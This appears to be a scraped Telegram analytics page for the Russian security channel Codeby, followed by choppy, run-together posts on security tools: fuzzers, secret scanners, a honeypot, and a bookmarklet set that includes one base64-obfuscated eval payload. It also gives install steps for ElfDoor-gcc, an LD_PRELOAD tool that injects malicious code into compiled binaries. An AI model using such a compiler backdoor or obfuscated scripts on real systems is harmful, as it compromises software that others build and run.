Codeby
Блог сообщества Кодебай Чат: @codeby_one Форум: codeby.net Обучение: codeby.academy CTF: hackerlab.pro VK: vk.com/codeby YT: clck.ru/XG99c Сотрудничество: @KinWiz Реклама: @Savchenkova_Valentina
Mostrar más📈 Análisis del canal de Telegram Codeby
El canal Codeby (@codeby_sec) en el segmento lingüístico de Ruso es un actor destacado. Actualmente la comunidad reúne a 36 564 suscriptores, ocupando la posición 3 763 en la categoría Tecnologías y Aplicaciones y el puesto 17 797 en la región Rusia.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 36 564 suscriptores.
Según los últimos datos del 07 junio, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 192, y en las últimas 24 horas de 6, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 7.76%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 4.24% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 2 836 visualizaciones. En el primer día suele acumular 1 551 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 18.
- Intereses temáticos: El contenido se centra en temas clave como edr, api, вектор, mitre, att&ck.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“Блог сообщества Кодебай
Чат: @codeby_one
Форум: codeby.net
Обучение: codeby.academy
CTF: hackerlab.pro
VK: vk.com/codeby
YT: clck.ru/XG99c
Сотрудничество: @KinWiz
Реклама: @Savchenkova_Valentina”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 08 junio, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
git clone https://github.com/fuzzinglabs/fuzzforge_ai.git
cd fuzzforge_ai
2️⃣Далее необходимо создать файл конфигурации среды. Этот файл необходим для запуска FuzzForge. Если вы используете только базовые рабочие процессы, можете оставить значения по умолчанию.
Отредактируйте файл volumes/env/.env и добавьте свои ключи API (OpenAI, Anthropic, Google и т. д.).
cp volumes/env/.env.example volumes/env/.env
❗️Рабочие процессы, не требующие API-ключей: security_assessment, gitleaks_detection, trufflehog_detection, atheris_fuzzing, cargo_fuzzing.
3️⃣Запустите все службы FuzzForge и затем Python Worker.
docker-compose -f docker-compose.yml up -d
docker compose up -d worker-python
4️⃣Опциональный шаг - установка интерфейса командной строки FuzzForge для более удобного управления рабочим процессом.
cd cli
pip install -e .
# or
uv tool install .
#запуск
fuzzforge config set-server http://localhost:8000
5️⃣Теперь необходимо запустить нужный вам рабочий процессс.
cd test_projects/vulnerable_app/ fuzzforge init ff workflow run security_assessment . #мониторинг результатов fuzzforge workflow status <run-id> #показать результаты по завершению fuzzforge finding <run-id>6️⃣Для тестового проекта результаты будут в формате SARIF в следующем виде: Также можно отслеживать выполнение рабочих процессов в режиме реального времени с помощью Temporal Web UI через http://localhost:8080 в браузере из раздела «Рабочие процессы».
Если вы до сих пор думаете, что «вас это не коснется», — это дорогостоящая иллюзия.🛡 Как построить линию защиты, соразмерную рискам и запросам вашего бизнеса — обсудим 12 ноября на практической конференции «Совершенно безопасно: точка опоры». Что вы узнаете, кроме готового плана действий: 1. Как собрать разрозненные меры безопасности в цельную, мощную систему, где каждый элемент работает на защиту компании. 2. Как превратить вашу защиту в реальное конкурентное преимущество, которое заметят клиенты и партнеры. 3. Как сделать сотрудников надежной линией защиты против угроз бизнесу ❗️ И да, мы понимаем, как вы загружены. Поэтому подготовили только конкретику, кейсы и работающие схемы. Никакой воды. Участие бесплатное. Вы можете присоединиться онлайн — из любого уголка мира. Для зарегистрированных участников — запись конференции и чек-листы. Регистрируйтесь. Готовьте вопросы. Расскажите о конференции коллегам и партнерам
Brainstorm — это лёгкий CLI‑инструмент от Invicti Security для оптимизации поиска скрытых директорий, файлов и эндпоинтов в веб‑приложениях. В отличие от классических инструментов для фазинга, Brainstorm комбинирует традиционный ffuf‑фазинг с генерацией гипотез о путях при помощи локальных крупных языковых моделей (через Ollama). Это превращает фазинг в итеративный «мозговой штурм»: модель предлагает умные догадки → ffuf проверяет → результаты используются для следующего круга генерации.⚡️ Ключевые возможности ⏺️ Комбинация LLM (локально через Ollama) + ffuf для более целевых и релевантных словарей путей. ⏺️ Итеративный процесс: извлечение ссылок → генерация путей моделью → фазинг → обучение на результатах → повтор. ⏺️ Две утилиты: fuzzer.py (общий поиск путей) и fuzzer_shortname.py (специализирован для коротких имён, legacy 8.3 и т.п.). ⏺️ Поддержка выбора модели Ollama (по умолчанию qwen2.5-coder:latest) и конфигурируемых подсказок (prompts). ⏺️ Бенчмаркинг моделей (benchmark.py) и отчёты (HTML/MD) для оценки, какая локальная модель даёт лучшие результаты. ⏺️ Настраиваемые коды ответа, циклы фазинга, файл подсказок и пр. ⬇️ Установка и запуск
git clone https://github.com/Invicti-Security/brainstorm.git
cd brainstorm
pip install -r requirements.txt
ollama pull qwen2.5-coder:latest
🖥 Запуск
# базовый фазинг (по умолчанию)
python fuzzer.py "ffuf -w ./fuzz.txt -u http://example.com/FUZZ"
# короткие имена (8.3) — укажите целевой файл в конце
python fuzzer_shortname.py "ffuf -w ./fuzz.txt -u http://example.com/FUZZ" "BENCHM~1.PY"
⚙️ Преимущества Brainstorm
➡️ Умные, контекстные догадки от LLM уменьшают шум и увеличивают релевантность найденных путей.
➡️ Локальная архитектура (Ollama) — без передачи чувствительных данных в облако.
➡️ Быстрое прототипирование и возможность подгонять промпты под конкретное приложение.
➡️ Бенчмаркинг позволяет выбрать оптимальную локальную модель под ваши задачи.javascript:(function(){document.querySelectorAll('[disabled],[readonly]').forEach(el=>{el.removeAttribute('disabled');el.removeAttribute('readonly');});})()
2️⃣Показать скрытые элементы (display: none):
javascript:(function(){document.querySelectorAll('[style*="display: none"]').forEach(el=>{el.style.display='block';});})()
3️⃣Вернуть кликабельность (pointer-events: none):
javascript:(function(){document.querySelectorAll('[style*="pointer-events: none"]').forEach(el=>{el.style.pointerEvents='auto';el.style.opacity='1';});})()
4️⃣Универсальный букмарклет (сочитает в себе предыдущие):
javascript:eval(atob("KGZ1bmN0aW9uKCl7ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnW2Rpc2FibGVkXSxbcmVhZG9ubHldJykuZm9yRWFjaChlbD0+e2VsLnJlbW92ZUF0dHJpYnV0ZSgnZGlzYWJsZWQnKTtlbC5yZW1vdmVBdHRyaWJ1dGUoJ3JlYWRvbmx5Jyk7fSk7ZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnW3N0eWxlKj0iZGlzcGxheTogbm9uZSJdJykuZm9yRWFjaChlbD0+e2VsLnN0eWxlLmRpc3BsYXk9J2Jsb2NrJzt9KTtkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCdbc3R5bGUqPSJwb2ludGVyLWV2ZW50czogbm9uZSJdJykuZm9yRWFjaChlbD0+e2VsLnN0eWxlLnBvaW50ZXJFdmVudHM9J2F1dG8nO2VsLnN0eWxlLm9wYWNpdHk9JzEnO30pO2FsZXJ0KCdEaXNhYmxlZCwgcmVhZG9ubHksIGFuZCBoaWRkZW4gZWxlbWVudHMgYXJlIG5vdyBhY3RpdmUhJyk7fSkoKTs="))
Добавьте любой из них в ваши закладки и активируйте на любой странице.wget https://github.com/newrelic/rusty-hog/releases/download/v1.0.11/rustyhogs-darwin-choctaw_hog-1.0.11.zip
unzip rustyhogs-darwin-choctaw_hog-1.0.11.zip
darwin_releases/choctaw_hog -h
Rusty Hog предоставляет следующие исполняемые модули:
🔴Ankamali Hog — сканирует Google Docs на наличие секретов.
ankamali_hog [FLAGS] [OPTIONS] <GDRIVEID>🔴Berkshire Hog — сканирует хранилища S3 на наличие секретов.
berkshire_hog [FLAGS] [OPTIONS] <S3URI> <S3REGION>🔴Choctaw Hog — сканирует Git-репозитории на наличие секретов.
choctaw_hog [FLAGS] [OPTIONS] <GITPATH>
🔴Duroc Hog — сканирует каталоги, файлы и архивы на наличие секретов.
duroc_hog [FLAGS] [OPTIONS] <FSPATH>
🔴Essex Hog — сканирует страницы Confluence Wiki на наличие секретов.
essex_hog [FLAGS] [OPTIONS] <PAGEID> <URL>🔴Gottingen Hog — сканирует задачи (issues) в JIRA на наличие секретов.
gottingen_hog [FLAGS] [OPTIONS] <JIRAID>🔴Slack Hog — сканирует каналы Slack на наличие секретов.
hante_hog [FLAGS] [OPTIONS] --authtoken <BEARERTOKEN> --channelid <CHANNELID> --url <SLACKURL>P.S. Тема - DevSecOpsПишите свои идеи в комментариях🔽
LD_PRELOAD, который захватывает gcc для внедрения вредоносного кода в бинарные файлы во время компоновки, не затрагивая исходный код.
Что такое LD_PRELOAD?
LD_PRELOAD — это переменная окружения в Linux и других Unix-подобных системах, которая позволяет вам загружать свою собственную библиотеку функций ПЕРЕД всеми остальными библиотеками, которые использует программа.
Как это работает?
1️⃣Программа хочет выполнить функцию main(), чтобы вывести текст.
2️⃣Система ищет, где находится эта функция. Сначала она смотрит в библиотеках, указаных в LD_PRELOAD.
3️⃣Если там есть ваша версия функции main(), система выполнит вашу функцию, а не оригинальную.
📕Установка:
git clone https://github.com/MatheuZSecurity/ElfDoor-gcc
cd ElfDoor-gcc
chmod +x install.sh
sudo ./install.sh
📌Использование:
➖После команды sudo ./install.sh, мы сможем компилировать программы с вредоносным сценарием.
➖Компилируем любой код:
gcc codeby.c -o codeby
➖Запускаем:
sudo ./codeby«Для нас, компании HackerLab, большая честь второй год подряд проводить для конференции практические соревнования в формате CTF. Вместе с партнёрами, спикерами и участниками мы делаем цифровую среду надёжнее»,— отметил генеральный директор Алексей Попов в своём приветственном выступлении на открытии конференции. Формат CTF — это не просто соревнование. Это способ обучения, где участники развивают мышление исследователя, тренируют навыки реагирования на инциденты и учатся защищать инфраструктуру в условиях, приближённых к боевым. #HackerLab #KubanCSC2025 #CTF
Beelzebub — продвинутый honeypot-фреймворк, разработанный для обеспечения безопасной среды для обнаружения и анализа кибер-атак.. Проект делает ставку на «low-code» конфигурацию (YAML), мультипротокольную поддержку (SSH, HTTP, TCP, MCP) и интеграцию LLM/ИИ для убедительной симуляции.⚡️ Основные возможности Beelzebub ➡️ Low-code конфигурация — сервисы и сценарии описываются YAML-файлами, что ускоряет развёртывание и модификацию поведения honeypot’а. ➡️ LLM-интеграция — использование больших языковых моделей для имитации «человеческого» или сервисного поведения, создавая впечатление высокоинтерактивного окружения, при этом сохраняя безопасность. ➡️ Поддержка множества протоколов — SSH, HTTP, TCP и специализированный MCP (с защитой от prompt injection). ➡️ Набор для мониторинга и аналитики — экспорт метрик в Prometheus, готовая интеграция с ELK/Elastic и визуализация событий. ➡️ Контейнеризация и Kubernetes — готовность к запуску через Docker Compose, сборку через Go и развёртывание в k8s с Helm-чартом. ⬇️ Установка и запуск 👩💻 Через Docker Compose :
git clone https://github.com/mariocandela/beelzebub.git
cd beelzebub
docker-compose build
docker-compose up -d
👩💻 Запуск на Go:
go mod download
go build
./beelzebub --confCore ./configurations/beelzebub.yaml --confServices ./configurations/services/
👩💻 Kubernetes (Helm):
helm install beelzebub ./beelzebub-chart
# обновление
helm upgrade beelzebub ./beelzebub-chart
В репозитории есть примеры конфигураций для разных сценариев honeypot’ов — создавайте свои файлы в /configurations/services/.
¡Ya disponible! Investigación de Telegram 2025 — los principales insights del año 
